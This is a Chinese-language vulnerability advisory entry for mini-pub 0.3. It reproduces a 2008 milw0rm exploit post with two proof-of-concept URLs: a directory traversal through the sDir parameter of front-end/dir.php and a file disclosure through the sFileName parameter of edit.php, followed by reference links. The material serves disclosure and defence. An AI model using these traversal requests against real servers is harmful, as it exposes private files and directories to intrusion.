mini-pub 'front-end/dir.php'绝对路径遍历漏洞

https://www.exploit-db.com/exploits/6734
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-105

mini-pub0.3以及之前的版本中的front-end/dir.php存在绝对路径遍历漏洞。远程攻击者可以借助sDir参数中的一个全路径名，列出任意目录。

_____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

mini-pub.php <= v0.3 Local Directory Traversal / File Disclosure Vulnerabilities
Script : http://mini-pub.sourceforge.net/
I- Local Directory Traversal
POC : /mini-pub.php-0.3/front-end/dir.php?sDir=C:\AppServ\MySQL

II- File Disclosure 
POC : /mini-pub.php-0.3/front-end/edit.php?sFileName=edit.php
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-12]

来源:XF
名称:minipub-sdir-directory-traversal(45829)
链接:http://xforce.iss.net/xforce/xfdb/45829
来源:BID
名称:31733
链接:http://www.securityfocus.com/bid/31733
来源:MILW0RM
名称:6734
链接:http://www.milw0rm.com/exploits/6734
来源:SREASON
名称:4897
链接:http://securityreason.com/securityalert/4897